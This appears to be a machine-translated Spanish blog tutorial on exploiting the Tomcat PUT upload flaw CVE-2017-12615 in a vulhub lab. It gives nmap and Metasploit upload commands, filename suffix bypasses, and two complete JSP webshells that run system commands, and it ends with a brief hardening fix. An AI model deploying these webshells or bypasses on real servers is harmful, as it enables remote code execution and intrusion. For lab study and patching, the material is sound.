CVE-2017-12615 Tomcat PUT tutorial de explotación de vulnerabilidades de carga de archivos arbitrarios


Descripción de la vulnerabilidad

  Se descubrió una vulnerabilidad en Tomcat. En esta vulnerabilidad, si el contexto del servlet está configurado como readonly = false y se permiten solicitudes HTTP PUT, el atacante puede cargar archivos JSP en el contexto e implementar la ejecución del código.

Versión de impacto

tomcat 7.0.0 a 7.0.79

Construcción de entornos de vulnerabilidad

Utilice vulhub para iniciar directamente el entorno con un entorno CVE-2017-12615 clave

Construcción del entorno de vulnerabilidad y inicio rápido de Docker

Después de descargar e instalar vulhub, ingrese al /tomcat/CVE-2017-12615directorio y ejecute el siguiente comando

docker-compose up -d

Inserte la descripción de la imagen aquí
Luego verifique la ip actual de la máquina virtual y visite el puerto 8080, aparecerá la página de tomcat

Detección de vulnerabilidades

Nota: Si usamos el protocolo put para crear un archivo de destino que ya existe, entonces este archivo se sobrescribirá. En combate real, no debes ponerlo en un índice o un archivo existente para probar.

nmap

mando:

#nmap -p <端口> <ip> --script http-put --script-args http-put.url="<上载到服务器的本地文件的完整路径>",http-put.file='<将文件存储到的远程目录和文件名>'
nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/test1.txt",http-put.file='E:\1.txt'

Creé un nuevo 1.txt en mi disco E, el contenido es:test put

Inserte la descripción de la imagen aquí
El mensaje successfully createdindica que la carga es exitosa, accedemos manualmente

Inserte la descripción de la imagen aquí

msf

msfconsole

search http_put
use auxiliary/scanner/http/http_put

set filedata 'test put111'
set filename test1.txt
set rhosts 192.168.234.138
set rport 8080
show options 

Inserte la descripción de la imagen aquí

Después de configurar, ejecutar, se solicitará un signo más para indicar que la carga se realizó correctamente.

Inserte la descripción de la imagen aquí

Inserte la descripción de la imagen aquí

Comprobación de lote puesta

  • reglas de escaneo IP namp o use los parámetros -iL para la detección de lotes

Inserte la descripción de la imagen aquí

La detección de lotes de msf no es muy estable. No puedo realizar la detección de lotes, pero una sola IP puede hacerlo. No se recomienda utilizar msf.

Inserte la descripción de la imagen aquí

Explotar

Troyano Linux de una frase:

# cmd2.jsp
<%
    if("023".equals(request.getParameter("pwd"))){
    
    
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
    
    
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

Troyano de una frase de Windows:

#windowscmd.jsp

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
        Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>
</pre>
</BODY></HTML>

El tomcat predeterminado tampoco permite que PUT cargue archivos jsp y jspx, porque el backend se usa org.apache.jasper.servlet.JspServletpara procesar solicitudes de sufijo jsp o jspx, y no hay lógica para cargar PUT en JspServlet, y la implementación de código de PUT solo existe en DefaultServlet.

La causa raíz de esta vulnerabilidad es eludir la detección de Tomcat mediante la construcción de un nombre de sufijo especial y dejar que use la lógica de DefaultServlet para procesar la solicitud, cargando así el archivo jsp.

Actualmente existen tres métodos principales:

  • evil.jsp% 20
  • evil.jsp :: $ DATA
  • evil.jsp /

También necesitamos modificar el nombre del archivo para omitir al cargar put

nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/cmd.jsp/",http-put.file='E:\1.txt'

Inserte la descripción de la imagen aquí
Acceder a archivos troyanos:

Inserte la descripción de la imagen aquí

Fortalecimiento de la vulnerabilidad

Modifique el archivo conf / web.xml en el directorio tomcat, busque readonlyInserte la descripción de la imagen aquí
el falseconjuntotrue

Inserte la descripción de la imagen aquí

Articulo de referencia

https://paper.seebug.org/399/

Supongo que te gusta

Origin blog.csdn.net/weixin_41924764/article/details/109684870
Recomendado
Clasificación